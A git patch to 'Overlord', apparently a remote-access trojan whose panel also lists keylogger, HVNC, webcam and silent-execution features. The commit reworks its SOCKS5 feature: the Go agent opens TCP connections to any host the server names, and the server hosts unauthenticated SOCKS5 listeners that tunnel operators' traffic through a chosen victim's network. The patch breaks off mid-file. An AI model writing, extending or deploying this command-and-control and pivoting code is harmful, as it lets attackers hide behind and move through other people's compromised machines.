From de9b9869721ed98d48294c67f651bb59f6ab9bb3 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 15 Mar 2026 16:14:50 -0500 Subject: [PATCH] add new socks5 update --- Overlord-Client/cmd/agent/handlers/command.go | 13 +- Overlord-Client/cmd/agent/handlers/socks5.go | 356 ++++++-------- Overlord-Client/cmd/agent/wire/protocol.go | 11 + Overlord-Server/public/assets/main.js | 5 - Overlord-Server/public/assets/nav.js | 1 + Overlord-Server/public/assets/nav/template.js | 6 + Overlord-Server/public/assets/proxy.js | 194 -------- .../public/assets/socks5-manager.js | 221 +++++++++ Overlord-Server/public/assets/ui.js | 1 - Overlord-Server/public/proxy.html | 180 ------- Overlord-Server/public/socks5-manager.html | 125 +++++ Overlord-Server/src/main-server.ts | 16 +- .../src/server/routes/misc-routes.ts | 70 +++ .../src/server/routes/page-routes.ts | 13 +- .../routes/websocket-lifecycle-routes.ts | 41 +- .../src/server/routes/ws-upgrade-routes.ts | 18 - .../src/server/socks5-proxy-manager.ts | 453 ++++++++++++++++++ .../server/ws-file-process-proxy-keylogger.ts | 48 -- .../src/sessions/sessionManager.ts | 27 -- Overlord-Server/src/sessions/types.ts | 1 - Overlord-Server/src/wsValidation.ts | 4 +- 21 files changed, 1087 insertions(+), 717 deletions(-) delete mode 100644 Overlord-Server/public/assets/proxy.js create mode 100644 Overlord-Server/public/assets/socks5-manager.js delete mode 100644 Overlord-Server/public/proxy.html create mode 100644 Overlord-Server/public/socks5-manager.html create mode 100644 Overlord-Server/src/server/socks5-proxy-manager.ts diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 2cbc5a6..6062d09 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -123,6 +123,8 @@ func resetForReconnect(env *runtime.Env) { stopVoiceSession() + CleanupAllTunnels() + env.NotificationMu.Lock() env.NotificationKeywords = nil env.NotificationMinIntervalMs = 0 @@ -1755,11 +1757,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} _ = wire.WriteMsg(ctx, env.Conn, res) return ErrReconnect - case "proxy_start": + case "proxy_connect": payload, _ := envelope["payload"].(map[string]interface{}) - return HandleProxyStart(ctx, env, cmdID, payload) - case "proxy_stop": - return HandleProxyStop(ctx, env, cmdID) + return HandleProxyConnect(ctx, env, cmdID, payload) + case "proxy_data": + payload, _ := envelope["payload"].(map[string]interface{}) + return HandleProxyData(ctx, env, cmdID, payload) + case "proxy_close": + return HandleProxyClose(ctx, env, cmdID) default: log.Printf("command: unknown action=%s", action) res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"} diff --git a/Overlord-Client/cmd/agent/handlers/socks5.go b/Overlord-Client/cmd/agent/handlers/socks5.go index 35cbfcf..6f643e7 100644 --- a/Overlord-Client/cmd/agent/handlers/socks5.go +++ b/Overlord-Client/cmd/agent/handlers/socks5.go @@ -2,9 +2,7 @@ package handlers import ( "context" - "encoding/binary" "fmt" - "io" "log" "net" "sync" @@ -15,241 +13,179 @@ import ( ) var ( - proxyListenerMu sync.Mutex - proxyListener net.Listener - proxyPort int - proxyCtx context.Context - proxyCancel context.CancelFunc + tunnelMu sync.Mutex + tunnelConns = make(map[string]*tunnelConn) // connectionId → tunnelConn ) -func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { - proxyListenerMu.Lock() - defer proxyListenerMu.Unlock() +type tunnelConn struct { + conn net.Conn + cancel context.CancelFunc +} - if proxyListener != nil { +func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error { + host, _ := payload["host"].(string) + portRaw := payload["port"] + var port int + switch v := portRaw.(type) { + case int: + port = v + case int8: + port = int(v) + case int16: + port = int(v) + case int32: + port = int(v) + case int64: + port = int(v) + case uint: + port = int(v) + case uint8: + port = int(v) + case uint16: + port = int(v) + case uint32: + port = int(v) + case uint64: + port = int(v) + case float32: + port = int(v) + case float64: + port = int(v) + } + + if host == "" || port <= 0 || port > 65535 { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", - CommandID: cmdID, + CommandID: connID, OK: false, - Message: "Proxy already running", + Message: "Invalid host or port", }) } - requestedPort := 1080 - if portVal, ok := payload["port"]; ok { - if port, ok := portVal.(int); ok && port > 0 { - requestedPort = port + target := fmt.Sprintf("%s:%d", host, port) + + goSafe("tunnel-dial-"+connID, nil, func() { + + targetConn, err := net.DialTimeout("tcp", target, 10*time.Second) + if err != nil { + log.Printf("[tunnel] failed to connect to %s: %v", target, err) + _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: connID, + OK: false, + Message: fmt.Sprintf("Connection refused: %v", err), + }) + return } - } - listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort)) - if err != nil { - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + tunnelCtx, tunnelCancel := context.WithCancel(context.Background()) + tc := &tunnelConn{conn: targetConn, cancel: tunnelCancel} + + tunnelMu.Lock() + tunnelConns[connID] = tc + tunnelMu.Unlock() + + // tell the server we connected successfully + if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", - CommandID: cmdID, - OK: false, - Message: fmt.Sprintf("Failed to start proxy: %v", err), - }) - } + CommandID: connID, + OK: true, + Message: "Connected", + }); err != nil { + targetConn.Close() + tunnelCancel() + tunnelMu.Lock() + delete(tunnelConns, connID) + tunnelMu.Unlock() + return + } - proxyListener = listener - proxyPort = listener.Addr().(*net.TCPAddr).Port - proxyCtx, proxyCancel = context.WithCancel(context.Background()) + defer func() { + tunnelCancel() + targetConn.Close() + tunnelMu.Lock() + delete(tunnelConns, connID) + tunnelMu.Unlock() + _ = wire.WriteMsg(ctx, env.Conn, wire.ProxyClose{ + Type: "proxy_close", + ConnectionID: connID, + }) - log.Printf("SOCKS5 proxy started on port %d", proxyPort) + }() - if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ - Type: "command_result", - CommandID: cmdID, - OK: true, - Message: fmt.Sprintf("Proxy started on port %d", proxyPort), - }); err != nil { - return err - } - - go acceptProxyConnections(proxyCtx, listener) + buf := make([]byte, 32*1024) + for { + select { + case <-tunnelCtx.Done(): + return + default: + } + n, err := targetConn.Read(buf) + if n > 0 { + data := make([]byte, n) + copy(data, buf[:n]) + if writeErr := wire.WriteMsg(ctx, env.Conn, wire.ProxyData{ + Type: "proxy_data", + ConnectionID: connID, + Data: data, + }); writeErr != nil { + return + } + } + if err != nil { + return + } + } + }) return nil } -func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error { - proxyListenerMu.Lock() - defer proxyListenerMu.Unlock() - - if proxyListener == nil { - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ - Type: "command_result", - CommandID: cmdID, - OK: false, - Message: "No proxy running", - }) +func HandleProxyData(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error { + tunnelMu.Lock() + tc, ok := tunnelConns[connID] + tunnelMu.Unlock() + if !ok { + return nil } - if proxyCancel != nil { - proxyCancel() - } - - if err := proxyListener.Close(); err != nil { - log.Printf("Error closing proxy listener: %v", err) - } - - proxyListener = nil - proxyPort = 0 - - log.Printf("SOCKS5 proxy stopped") - - return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ - Type: "command_result", - CommandID: cmdID, - OK: true, - Message: "Proxy stopped", - }) -} - -func acceptProxyConnections(ctx context.Context, listener net.Listener) { - for { - select { - case <-ctx.Done(): - return - default: - } - - conn, err := listener.Accept() - if err != nil { - select { - case <-ctx.Done(): - return - default: - log.Printf("Proxy accept error: %v", err) - continue - } - } - - go handleProxyConnection(ctx, conn) - } -} - -func handleProxyConnection(ctx context.Context, conn net.Conn) { - defer conn.Close() - - conn.SetDeadline(time.Now().Add(30 * time.Second)) - - buf := make([]byte, 2) - if _, err := io.ReadFull(conn, buf); err != nil { - log.Printf("Proxy handshake read error: %v", err) - return - } - - version := buf[0] - nmethods := buf[1] - - if version != 5 { - log.Printf("Unsupported SOCKS version: %d", version) - return - } - - methods := make([]byte, nmethods) - if _, err := io.ReadFull(conn, methods); err != nil { - log.Printf("Proxy methods read error: %v", err) - return - } - - if _, err := conn.Write([]byte{5, 0}); err != nil { - log.Printf("Proxy handshake response error: %v", err) - return - } - - reqHeader := make([]byte, 4) - if _, err := io.ReadFull(conn, reqHeader); err != nil { - log.Printf("Proxy request header error: %v", err) - return - } - - if reqHeader[0] != 5 { - log.Printf("Invalid request version: %d", reqHeader[0]) - return - } - - cmd := reqHeader[1] - if cmd != 1 { - conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported - return - } - - atyp := reqHeader[3] - var host string - var port uint16 - - switch atyp { - case 1: // IPv4 - addr := make([]byte, 4) - if _, err := io.ReadFull(conn, addr); err != nil { - return - } - host = net.IP(addr).String() - case 3: // domain name - addrLen := make([]byte, 1) - if _, err := io.ReadFull(conn, addrLen); err != nil { - return - } - addr := make([]byte, addrLen[0]) - if _, err := io.ReadFull(conn, addr); err != nil { - return - } - host = string(addr) - case 4: // IPv6 - addr := make([]byte, 16) - if _, err := io.ReadFull(conn, addr); err != nil { - return - } - host = net.IP(addr).String() + var data []byte + switch v := payload["data"].(type) { + case []byte: + data = v + case string: + data = []byte(v) default: - conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported - return + return nil } - // read port - portBytes := make([]byte, 2) - if _, err := io.ReadFull(conn, portBytes); err != nil { - return + if _, err := tc.conn.Write(data); err != nil { + tc.cancel() + return nil } - port = binary.BigEndian.Uint16(portBytes) + return nil +} - log.Printf("SOCKS5 CONNECT to %s:%d", host, port) - - // connect to target - targetAddr := fmt.Sprintf("%s:%d", host, port) - targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second) - if err != nil { - log.Printf("Failed to connect to %s: %v", targetAddr, err) - conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused - return +func HandleProxyClose(ctx context.Context, env *runtime.Env, connID string) error { + tunnelMu.Lock() + tc, ok := tunnelConns[connID] + if ok { + delete(tunnelConns, connID) } - defer targetConn.Close() + tunnelMu.Unlock() + if ok { + tc.cancel() + tc.conn.Close() + } + return nil +} - // send success response - // VER | REP | RSV | ATYP | BND.ADDR | BND.PORT - conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0}) - - // clear deadline for data transfer - conn.SetDeadline(time.Time{}) - targetConn.SetDeadline(time.Time{}) - - // relay data bidirectionally - done := make(chan struct{}, 2) - - goSafe("socks5 relay to target", nil, func() { - io.Copy(targetConn, conn) - done <- struct{}{} - }) - - goSafe("socks5 relay to client", nil, func() { - io.Copy(conn, targetConn) - done <- struct{}{} - }) - - select { - case <-done: - case <-ctx.Done(): +func CleanupAllTunnels() { + tunnelMu.Lock() + defer tunnelMu.Unlock() + for id, tc := range tunnelConns { + tc.cancel() + tc.conn.Close() + delete(tunnelConns, id) } } diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 8b284a1..173cd05 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -208,3 +208,14 @@ type HVNCCloneProgress struct { TotalBytes int64 `msgpack:"totalBytes"` Status string `msgpack:"status"` } + +type ProxyData struct { + Type string `msgpack:"type"` + ConnectionID string `msgpack:"connectionId"` + Data []byte `msgpack:"data"` +} + +type ProxyClose struct { + Type string `msgpack:"type"` + ConnectionID string `msgpack:"connectionId"` +} diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 369ea1f..aec08f1 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -776,11 +776,6 @@ menu.addEventListener("click", async (e) => { closeMenu(clearContext); return; } - if (open === "proxy") { - window.open(`/${contextCard}/proxy`, "_blank", "noopener"); - closeMenu(clearContext); - return; - } if (open === "silent-exec") { window.open(`/deploy?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js index a97cf69..d8605dc 100644 --- a/Overlord-Server/public/assets/nav.js +++ b/Overlord-Server/public/assets/nav.js @@ -20,6 +20,7 @@ if (host) { "/metrics": "metrics-link", "/logs": "logs-link", "/scripts": "scripts-link", + "/socks5-manager": "socks5-link", "/plugins": "plugins-link", "/build": "build-link", "/users": "users-link", diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index 06f5443..ad230f5 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -47,6 +47,12 @@ export function mountNav(host) { class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors" > Scripts + Proxies 100) { - logContainer.removeChild(logContainer.firstChild); - } -} - -function connect() { - const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; - const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/proxy/ws`; - - ws = new WebSocket(wsUrl); - ws.binaryType = "arraybuffer"; - - ws.onopen = () => { - console.log("Proxy control connected"); - updateStatus("pill-online", "Connected"); - addLog("Connected to proxy control interface", "success"); - }; - - ws.onmessage = (event) => { - const msg = decodeMsgpack(event.data); - if (!msg) { - console.error("Failed to decode message"); - return; - } - handleMessage(msg); - }; - - ws.onerror = (err) => { - console.error("WebSocket error:", err); - updateStatus("pill-offline", "Connection Error"); - addLog("WebSocket connection error", "error"); - }; - - ws.onclose = () => { - console.log("Proxy control disconnected"); - updateStatus("pill-offline", "Disconnected"); - addLog("Disconnected from proxy control", "warning"); - setTimeout(() => connect(), 3000); - }; -} - -function send(msg) { - if (ws && ws.readyState === WebSocket.OPEN) { - ws.send(encodeMsgpack(msg)); - } -} - -function handleMessage(msg) { - console.log("Received:", msg); - - switch (msg.type) { - case "ready": - addLog("Proxy control session ready", "success"); - if (!msg.clientOnline) { - updateStatus("pill-offline", "Client Offline"); - addLog("Target client is offline", "error"); - } - break; - case "status": - if (msg.status === "offline") { - updateStatus("pill-offline", "Client Offline"); - addLog("Target client went offline", "error"); - setProxyStopped(); - } - break; - case "command_result": - handleCommandResult(msg); - break; - default: - break; - } -} - -function handleCommandResult(msg) { - if (msg.ok) { - if (msg.message && msg.message.includes("started")) { - const match = msg.message.match(/port (\d+)/); - const port = match ? match[1] : portInput.value; - setProxyRunning(port); - addLog(`Proxy started successfully on port ${port}`, "success"); - if (toast) toast(`Proxy started on port ${port}`, "success"); - } else if (msg.message && msg.message.includes("stopped")) { - setProxyStopped(); - addLog("Proxy stopped successfully", "success"); - if (toast) toast("Proxy stopped", "success"); - } else { - addLog(msg.message || "Command completed", "success"); - } - } else { - addLog(msg.message || "Command failed", "error"); - if (toast) toast(msg.message || "Command failed", "error"); - if (msg.message && msg.message.includes("already running")) { - // Proxy is running but we didn't know - setProxyRunning(portInput.value); - } - } -} - -function setProxyRunning(port) { - proxyRunning = true; - startBtn.disabled = true; - stopBtn.disabled = false; - proxyInfo.classList.remove("hidden"); - proxyAddress.textContent = `127.0.0.1:${port}`; - portInput.disabled = true; -} - -function setProxyStopped() { - proxyRunning = false; - startBtn.disabled = false; - stopBtn.disabled = true; - proxyInfo.classList.add("hidden"); - portInput.disabled = false; -} - -function startProxy() { - const port = parseInt(portInput.value); - if (isNaN(port) || port < 1 || port > 65535) { - if (toast) toast("Invalid port number (1-65535)", "error"); - return; - } - - addLog(`Sending start command for port ${port}...`, "info"); - send({ type: "proxy_start", port }); -} - -function stopProxy() { - addLog("Sending stop command...", "info"); - send({ type: "proxy_stop" }); -} - -// Event listeners -startBtn.addEventListener("click", startProxy); -stopBtn.addEventListener("click", stopProxy); - -// Initialize -connect(); - -// Clear initial placeholder -setTimeout(() => { - if (logContainer.children.length === 1 && logContainer.firstChild.textContent.includes("Waiting")) { - logContainer.innerHTML = ""; - } -}, 1000); diff --git a/Overlord-Server/public/assets/socks5-manager.js b/Overlord-Server/public/assets/socks5-manager.js new file mode 100644 index 0000000..d16daa0 --- /dev/null +++ b/Overlord-Server/public/assets/socks5-manager.js @@ -0,0 +1,221 @@ +const toast = + (typeof window !== "undefined" && window.createToast) || + (typeof window !== "undefined" && window.showToast) || + null; + +const tableBody = document.getElementById("proxyTableBody"); +const addProxyBtn = document.getElementById("addProxyBtn"); +const addProxyModal = document.getElementById("addProxyModal"); +const modalClientSelect = document.getElementById("modalClientSelect"); +const modalPortInput = document.getElementById("modalPortInput"); +const modalCancelBtn = document.getElementById("modalCancelBtn"); +const modalAddBtn = document.getElementById("modalAddBtn"); + +let pollingInterval = null; + +// Check if a clientId was provided via URL params (from context menu) +const urlParams = new URLSearchParams(window.location.search); +const preselectedClientId = urlParams.get("clientId") || ""; + +// ── Data fetching ───────────────────────────────────────────────────────────── + +async function fetchProxies() { + try { + const res = await fetch("/api/proxy/list"); + if (!res.ok) return []; + const data = await res.json(); + return data.proxies || []; + } catch { + return []; + } +} + +async function fetchClients() { + try { + const res = await fetch("/api/clients?page=1&pageSize=500"); + if (!res.ok) return []; + const data = await res.json(); + return (data.items || []).filter((c) => c.online); + } catch { + return []; + } +} + +// ── Rendering ───────────────────────────────────────────────────────────────── + +function formatTime(ts) { + if (!ts) return "-"; + const d = new Date(ts); + return d.toLocaleString(); +} + +function renderTable(proxies) { + if (!proxies.length) { + tableBody.innerHTML = ` + + +
+ +

No active proxies

+

Click "Add Proxy" to start routing traffic through a client.

+
+ + `; + return; + } + + tableBody.innerHTML = proxies + .map( + (p) => ` + + +
+ + ${escapeHtml(p.clientId)} +
+ + + ${p.port} + + + + + Active + + + ${p.connections} + + socks5://<server>:${p.port} + + ${formatTime(p.createdAt)} + + + + `, + ) + .join(""); + + // wire up stop buttons + tableBody.querySelectorAll(".stop-btn").forEach((btn) => { + btn.addEventListener("click", () => { + const port = parseInt(btn.dataset.port); + stopProxy(port); + }); + }); +} + +function escapeHtml(str) { + const div = document.createElement("div"); + div.textContent = str; + return div.innerHTML; +} + +// ── Actions ─────────────────────────────────────────────────────────────────── + +async function startProxy(clientId, port) { + try { + const res = await fetch("/api/proxy/start", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ clientId, port }), + }); + const data = await res.json(); + if (data.ok) { + if (toast) toast(`Proxy started on port ${port}`, "success"); + } else { + if (toast) toast(data.message || "Failed to start proxy", "error"); + } + refresh(); + } catch (err) { + if (toast) toast("Network error", "error"); + } +} + +async function stopProxy(port) { + try { + const res = await fetch("/api/proxy/stop", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ port }), + }); + const data = await res.json(); + if (data.ok) { + if (toast) toast(`Proxy on port ${port} stopped`, "success"); + } else { + if (toast) toast(data.message || "Failed to stop proxy", "error"); + } + refresh(); + } catch (err) { + if (toast) toast("Network error", "error"); + } +} + +async function refresh() { + const proxies = await fetchProxies(); + renderTable(proxies); +} + +// ── Modal ───────────────────────────────────────────────────────────────────── + +function showModal() { + addProxyModal.classList.remove("hidden"); + loadClientsForModal(); +} + +function hideModal() { + addProxyModal.classList.add("hidden"); +} + +async function loadClientsForModal() { + modalClientSelect.innerHTML = ''; + const clients = await fetchClients(); + if (!clients.length) { + modalClientSelect.innerHTML = ''; + return; + } + modalClientSelect.innerHTML = clients + .map((c) => { + const label = [c.nickname, c.host, c.user, c.id] + .filter(Boolean) + .join(" | "); + const selected = c.id === preselectedClientId ? " selected" : ""; + return ``; + }) + .join(""); +} + +addProxyBtn.addEventListener("click", showModal); +modalCancelBtn.addEventListener("click", hideModal); +addProxyModal.addEventListener("click", (e) => { + if (e.target === addProxyModal) hideModal(); +}); + +modalAddBtn.addEventListener("click", () => { + const clientId = modalClientSelect.value; + const port = parseInt(modalPortInput.value); + if (!clientId) { + if (toast) toast("Select a client", "error"); + return; + } + if (isNaN(port) || port < 1 || port > 65535) { + if (toast) toast("Invalid port (1-65535)", "error"); + return; + } + hideModal(); + startProxy(clientId, port); +}); + +// ── Init ────────────────────────────────────────────────────────────────────── + +refresh(); +pollingInterval = setInterval(refresh, 5000); + +// Auto-open modal if a clientId was provided via URL +if (preselectedClientId) { + showModal(); +} diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 052d3a8..c77d53b 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -30,7 +30,6 @@ const MENU_GROUPS = [ color: "text-blue-400", items: [ { label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" }, - { label: "SOCKS5 Proxy", icon: "fa-solid fa-network-wired", icolor: "text-sky-400", open: "proxy" }, { label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true }, ], }, diff --git a/Overlord-Server/public/proxy.html b/Overlord-Server/public/proxy.html deleted file mode 100644 index 4b847e2..0000000 --- a/Overlord-Server/public/proxy.html +++ /dev/null @@ -1,180 +0,0 @@ - - - - - - SOCKS5 Proxy - Overlord - - - - - - - -
- -
-
- -
-
-
- - SOCKS5 Proxy - Connecting -
-
- Client: - - -
-
-
- - -
- -
-

- - Control Panel -

- -
-
- - -

- The SOCKS5 proxy will listen on localhost at this port on the agent machine -

-
- -
- - -
- - -
-
- - -
-

- - How to Use -

- -
-
-

- - Start the Proxy -

-

- Click "Start Proxy" to launch a SOCKS5 proxy server on the agent machine. The proxy will listen on localhost (127.0.0.1) at the specified port. -

-
- -
-

- - Configure Your Applications -

-

- Configure your browser or applications on the agent machine to use the SOCKS5 proxy at 127.0.0.1:[port]. This will route traffic through the agent's network. -

-
- -
-

- - Use Your Agent's IP -

-

- All traffic routed through the proxy will appear to originate from the agent's IP address and network location. -

-
- -
-
- -
-

Note

-

- The proxy runs directly on the agent machine. You need to configure applications on that machine to use it, or set up port forwarding/tunneling to access it remotely. -

-
-
-
-
-
-
- - -
-

- - Activity Log -

-
-
Waiting for connection...
-
-
-
-
- - - - - - diff --git a/Overlord-Server/public/socks5-manager.html b/Overlord-Server/public/socks5-manager.html new file mode 100644 index 0000000..ef3136a --- /dev/null +++ b/Overlord-Server/public/socks5-manager.html @@ -0,0 +1,125 @@ + + + + + + SOCKS5 Proxy Manager - Overlord + + + + + + + +
+ +
+
+ +
+
+
+ + SOCKS5 Proxy Manager +
+
+ +
+ + +
+
+ +
+

Server-Hosted SOCKS5 Proxies

+

+ Each entry creates a SOCKS5 proxy listener on this server. Anyone with the server address and port + can route traffic through the selected client's network. No authentication is required on the + SOCKS5 port — security is handled by only exposing ports you choose. +

+
+
+
+ + +
+ + + + + + + + + + + + + + + + + +
ClientPortStatusConnectionsUsageStartedActions
+ Loading... +
+
+
+
+ + + + + + + + diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index d7c9a44..e02bfd6 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -99,10 +99,12 @@ import { handleProcessMessage, handleProcessViewerMessage, handleProcessViewerOpen, - handleProxyMessage, - handleProxyViewerMessage, - handleProxyViewerOpen, } from "./server/ws-file-process-proxy-keylogger"; +import { + handleProxyTunnelData, + handleProxyTunnelClose, + handleProxyConnectResult, +} from "./server/socks5-proxy-manager"; import { cleanupVoiceViewer, handleVoiceUplink, @@ -262,7 +264,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({ savePluginState, }); -type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer"; +type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer"; type PendingScript = { resolve: (result: any) => void; @@ -413,7 +415,6 @@ async function startServer() { handleFileBrowserViewerOpen, handleProcessViewerOpen, handleKeyloggerViewerOpen, - handleProxyViewerOpen, handleVoiceViewerOpen, handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen, handleConsoleViewerMessage, @@ -423,7 +424,6 @@ async function startServer() { handleFileBrowserViewerMessage, handleProcessViewerMessage, handleKeyloggerViewerMessage, - handleProxyViewerMessage, handleVoiceViewerMessage, dispatchAutoScriptsForConnection, takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient, @@ -436,7 +436,9 @@ async function startServer() { consumeHttpDownloadPayload: (downloadPayload: any) => consumeHttpDownloadPayload(downloadPayload, pendingHttpDownloads), }), - handleProxyMessage, + handleProxyTunnelData, + handleProxyTunnelClose, + handleProxyConnectResult, handleProcessMessage, handleKeyloggerMessage, notifyRdInputLatency, diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index 170b7c4..1a062a0 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -6,6 +6,11 @@ import { metrics } from "../../metrics"; import { requirePermission } from "../../rbac"; import { getUserTelegramChatId, setUserTelegramChatId } from "../../users"; import { runCertbotSetup } from "../certbot-setup"; +import { + getActiveProxies, + startProxy, + stopProxy, +} from "../socks5-proxy-manager"; type MiscRouteDeps = { CORS_HEADERS: Record; @@ -318,5 +323,70 @@ export async function handleMiscRoutes( return Response.json(result, { headers: deps.CORS_HEADERS }); } + if (req.method === "GET" && url.pathname === "/api/proxy/list") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role === "viewer") { + return new Response("Forbidden", { status: 403 }); + } + return Response.json({ proxies: getActiveProxies() }, { headers: deps.CORS_HEADERS }); + } + + if (req.method === "POST" && url.pathname === "/api/proxy/start") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role === "viewer") { + return new Response("Forbidden", { status: 403 }); + } + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ ok: false, message: "Invalid JSON" }, { status: 400 }); + } + const clientId = typeof body?.clientId === "string" ? body.clientId.trim() : ""; + const port = typeof body?.port === "number" ? Math.floor(body.port) : 0; + if (!clientId) { + return Response.json({ ok: false, message: "clientId is required" }, { status: 400 }); + } + if (port < 1 || port > 65535) { + return Response.json({ ok: false, message: "port must be 1-65535" }, { status: 400 }); + } + const result = startProxy(clientId, port); + return Response.json(result, { + status: result.ok ? 200 : 400, + headers: deps.CORS_HEADERS, + }); + } + + if (req.method === "POST" && url.pathname === "/api/proxy/stop") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role === "viewer") { + return new Response("Forbidden", { status: 403 }); + } + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ ok: false, message: "Invalid JSON" }, { status: 400 }); + } + const port = typeof body?.port === "number" ? Math.floor(body.port) : 0; + if (port < 1 || port > 65535) { + return Response.json({ ok: false, message: "port must be 1-65535" }, { status: 400 }); + } + const result = stopProxy(port); + return Response.json(result, { + status: result.ok ? 200 : 400, + headers: deps.CORS_HEADERS, + }); + } + return null; } diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts index 8d7ee6e..e813e96 100644 --- a/Overlord-Server/src/server/routes/page-routes.ts +++ b/Overlord-Server/src/server/routes/page-routes.ts @@ -381,22 +381,19 @@ export async function handlePageRoutes( } } - const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/); - if (req.method === "GET" && proxyPageMatch) { + if (req.method === "GET" && url.pathname === "/socks5-manager") { const user = await authenticateRequest(req); if (!user) { return serveLoginOrUnauthorized(deps); } - if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } - if (!canAccessClientPage(user.userId, user.role, proxyPageMatch[1])) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`); + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; + const file = Bun.file(`${deps.PUBLIC_ROOT}/socks5-manager.html`); if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) }); + return new Response(file, { headers: deps.secureHeaders(deps.mimeType("socks5-manager.html")) }); } } diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index f3e1e19..f3b0571 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -11,6 +11,7 @@ import type { SocketData } from "../../sessions/types"; import type { ClientInfo } from "../../types"; import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers"; import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation"; +import { stopAllProxiesForClient } from "../socks5-proxy-manager"; type PendingScript = { timeout: ReturnType; @@ -38,7 +39,6 @@ type WsLifecycleDeps = { handleFileBrowserViewerOpen: (ws: ServerWebSocket) => void; handleProcessViewerOpen: (ws: ServerWebSocket) => void; handleKeyloggerViewerOpen: (ws: ServerWebSocket) => void; - handleProxyViewerOpen: (ws: ServerWebSocket) => void; handleVoiceViewerOpen: (ws: ServerWebSocket) => void; 